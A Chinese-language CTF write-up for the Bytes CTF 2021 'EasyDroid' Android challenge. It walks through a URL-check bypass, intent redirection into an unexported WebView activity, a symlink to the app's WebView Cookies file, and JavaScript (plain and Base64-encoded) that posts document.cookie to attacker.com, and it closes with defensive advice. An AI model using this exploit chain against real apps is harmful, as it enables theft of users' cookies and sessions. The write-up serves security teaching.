Bytes CTF 2021 EasyDroid 复现
字数 2094 2025-08-29 08:30:05

Bytes CTF 2021 EasyDroid 漏洞分析与复现

1. 应用概述

EasyDroid 是一个 Android 应用程序,存在多个安全漏洞,主要涉及 WebView 的不安全配置和 Intent 重定向问题。本教学文档将详细分析这些漏洞及其利用方法。

2. 应用组件分析

2.1 AndroidManifest.xml 分析

应用包含三个主要组件:

  1. MainActivity:导出的活动,存在 Intent 重定向漏洞
  2. TestActivity:非导出的活动,包含不安全的 WebView 配置
  3. FlagReceiver:广播接收器,将 Flag 保存到本地 Cookie 文件夹

2.2 组件详细分析

MainActivity

  • 启动以 toutiao.com 结尾的 WebView
  • shouldOverrideUrlLoading 方法中解析传入的协议
  • 如果协议以 Intent 开头,就会启动传入的 Intent
  • 漏洞点:URL 检查不严格,可通过构造特殊 URL 绕过检测

绕过方法

http://toutiao.com@127.0.0.1:8080/easydroid.html

TestActivity

  • 根据 Intent 传入的 URL 直接启动 WebView
  • 不安全配置:
    • setJavaScriptEnabled(true):启用 JavaScript
    • setAllowFileAccess(true):默认开启,允许访问本地文件
  • 配合 MainActivity 的 Intent 重定向,可被恶意应用利用

FlagReceiver

  • 将获取的 Flag 保存到本地 Cookie 文件夹
  • 攻击目标:获取 Cookie 文件中的 Flag

3. 漏洞利用思路

3.1 攻击目标

获取应用目录下的 Cookie 文件信息,其中包含 Flag。

3.2 攻击步骤

  1. 利用 MainActivity 的 URL 检测漏洞

    • 构造特殊 URL 让应用访问恶意网站
    • 绕过 toutiao.com 检查
  2. XSS 攻击注入

    • 在恶意网站中将 XSS 攻击脚本注入到目标程序的 Cookie 文件中
    • 利用 WebView 的 JavaScript 执行能力
  3. 符号链接攻击

    • 在攻击应用中创建符号链接
    • 将 .html 文件链接到目标程序的 Cookie 文件
  4. 执行 XSS 脚本

    • 通过恶意网站执行 .html 文件
    • XSS 脚本将整个 Cookie 数据泄露

3.3 技术细节

WebView Cookie 存储机制

  • 应用访问网页 20-30 秒后,会保存网页 Cookie 到手机
  • 存储路径:/data/data/<package_name>/app_webview/Cookies
  • 存储格式:所有网站 Cookie 信息以 key:value 方式保存

XSS 攻击实现

方法一:利用 Image 对象

new Image().src = "http://attacker.com/steal?data=" + escape(document.cookie);

方法二:使用 XMLHttpRequest

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://attacker.com/steal", true);
xhr.send(document.cookie);

4. 攻击代码实现

4.1 攻击应用代码

启动 MainActivity 并传入恶意 URL:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.bytectf.easydroid", 
                    "com.bytectf.easydroid.MainActivity"));
intent.putExtra("url", "http://toutiao.com@127.0.0.1:8080/easydroid.html");
startActivity(intent);

4.2 恶意 HTML 文件

easydroid.html 内容:

<script>
// 第一步:启动存在漏洞的TestActivity
location.href = "intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=http://attacker.com/malicious;end";

// 第二步:利用符号链接执行XSS攻击
// 这里需要配合符号链接将Cookie文件链接到.html文件
</script>

4.3 符号链接攻击

在攻击应用中创建符号链接:

// 创建符号链接,将恶意HTML文件链接到Cookie文件
Process process = Runtime.getRuntime().exec("ln -s /data/data/com.bytectf.easydroid/app_webview/Cookies /malicious.html");

4.4 XSS 注入脚本

exp.xml 内容(Base64 编码的恶意脚本):

// Base64 编码前
function stealCookie() {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://attacker.com/steal", true);
    xhr.send(document.cookie);
}
stealCookie();

// Base64 编码后
ZnVuY3Rpb24gc3RlYWxDb29raWUoKSB7CiAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICB4aHIub3BlbigiUE9TVCIsICJodHRwOi8vYXR0YWNrZXIuY29tL3N0ZWFsIiwgdHJ1ZSk7CiAgICB4aHIuc2VuZChkb2N1bWVudC5jb29raWUpOwp9CnN0ZWFsQ29va2llKCk7

通过 eval(atob("BASE64_CODE")) 执行解码后的脚本。

5. 漏洞总结

5.1 考察点

  1. URL 检测不严格,导致可访问恶意网页
  2. Intent 重定向启动非导出的 TestActivity
  3. WebView 组件配置不当导致的 XSS 攻击
  4. 符号链接与文件访问的结合利用

5.2 漏洞点

  1. MainActivity

    • WebView 未严格检查访问的 URL
    • 提供 Intent 重定向接口
  2. TestActivity

    • WebView 同时开启 setAllowFileAccesssetJavaScriptEnabled
    • 未限制访问的 URL,直接加载传入的 URL
  3. 整体设计

    • 敏感信息(Flag)存储在可被 WebView 访问的位置
    • 缺乏适当的沙箱隔离

6. 防御建议

  1. 严格 URL 检查

    • 使用白名单机制验证 URL
    • 正确处理 URL 中的特殊字符(如 @)
  2. 安全配置 WebView

    • 除非必要,不要启用 setJavaScriptEnabled
    • 禁用 setAllowFileAccess 或限制文件访问范围
    • 使用 setAllowFileAccessFromFileURLs(false)setAllowUniversalAccessFromFileURLs(false)
  3. Intent 处理

    • 避免直接启动传入的 Intent
    • 对组件调用进行严格验证
  4. 敏感数据存储

    • 不要将敏感信息存储在 WebView 可访问的位置
    • 使用加密存储或 Android 的安全存储机制
  5. 输入验证

    • 对所有外部输入进行严格验证
    • 实施适当的输出编码防止 XSS

通过以上措施,可以有效防止此类漏洞被利用。

Bytes CTF 2021 EasyDroid 漏洞分析与复现 1. 应用概述 EasyDroid 是一个 Android 应用程序,存在多个安全漏洞,主要涉及 WebView 的不安全配置和 Intent 重定向问题。本教学文档将详细分析这些漏洞及其利用方法。 2. 应用组件分析 2.1 AndroidManifest.xml 分析 应用包含三个主要组件: MainActivity :导出的活动,存在 Intent 重定向漏洞 TestActivity :非导出的活动,包含不安全的 WebView 配置 FlagReceiver :广播接收器,将 Flag 保存到本地 Cookie 文件夹 2.2 组件详细分析 MainActivity 启动以 toutiao.com 结尾的 WebView 在 shouldOverrideUrlLoading 方法中解析传入的协议 如果协议以 Intent 开头,就会启动传入的 Intent 漏洞点:URL 检查不严格,可通过构造特殊 URL 绕过检测 绕过方法 : TestActivity 根据 Intent 传入的 URL 直接启动 WebView 不安全配置: setJavaScriptEnabled(true) :启用 JavaScript setAllowFileAccess(true) :默认开启,允许访问本地文件 配合 MainActivity 的 Intent 重定向,可被恶意应用利用 FlagReceiver 将获取的 Flag 保存到本地 Cookie 文件夹 攻击目标:获取 Cookie 文件中的 Flag 3. 漏洞利用思路 3.1 攻击目标 获取应用目录下的 Cookie 文件信息,其中包含 Flag。 3.2 攻击步骤 利用 MainActivity 的 URL 检测漏洞 : 构造特殊 URL 让应用访问恶意网站 绕过 toutiao.com 检查 XSS 攻击注入 : 在恶意网站中将 XSS 攻击脚本注入到目标程序的 Cookie 文件中 利用 WebView 的 JavaScript 执行能力 符号链接攻击 : 在攻击应用中创建符号链接 将 .html 文件链接到目标程序的 Cookie 文件 执行 XSS 脚本 : 通过恶意网站执行 .html 文件 XSS 脚本将整个 Cookie 数据泄露 3.3 技术细节 WebView Cookie 存储机制 应用访问网页 20-30 秒后,会保存网页 Cookie 到手机 存储路径: /data/data/<package_name>/app_webview/Cookies 存储格式:所有网站 Cookie 信息以 key:value 方式保存 XSS 攻击实现 方法一 :利用 Image 对象 方法二 :使用 XMLHttpRequest 4. 攻击代码实现 4.1 攻击应用代码 启动 MainActivity 并传入恶意 URL: 4.2 恶意 HTML 文件 easydroid.html 内容: 4.3 符号链接攻击 在攻击应用中创建符号链接: 4.4 XSS 注入脚本 exp.xml 内容(Base64 编码的恶意脚本): 通过 eval(atob("BASE64_CODE")) 执行解码后的脚本。 5. 漏洞总结 5.1 考察点 URL 检测不严格,导致可访问恶意网页 Intent 重定向启动非导出的 TestActivity WebView 组件配置不当导致的 XSS 攻击 符号链接与文件访问的结合利用 5.2 漏洞点 MainActivity : WebView 未严格检查访问的 URL 提供 Intent 重定向接口 TestActivity : WebView 同时开启 setAllowFileAccess 和 setJavaScriptEnabled 未限制访问的 URL,直接加载传入的 URL 整体设计 : 敏感信息(Flag)存储在可被 WebView 访问的位置 缺乏适当的沙箱隔离 6. 防御建议 严格 URL 检查 : 使用白名单机制验证 URL 正确处理 URL 中的特殊字符(如 @) 安全配置 WebView : 除非必要,不要启用 setJavaScriptEnabled 禁用 setAllowFileAccess 或限制文件访问范围 使用 setAllowFileAccessFromFileURLs(false) 和 setAllowUniversalAccessFromFileURLs(false) Intent 处理 : 避免直接启动传入的 Intent 对组件调用进行严格验证 敏感数据存储 : 不要将敏感信息存储在 WebView 可访问的位置 使用加密存储或 Android 的安全存储机制 输入验证 : 对所有外部输入进行严格验证 实施适当的输出编码防止 XSS 通过以上措施,可以有效防止此类漏洞被利用。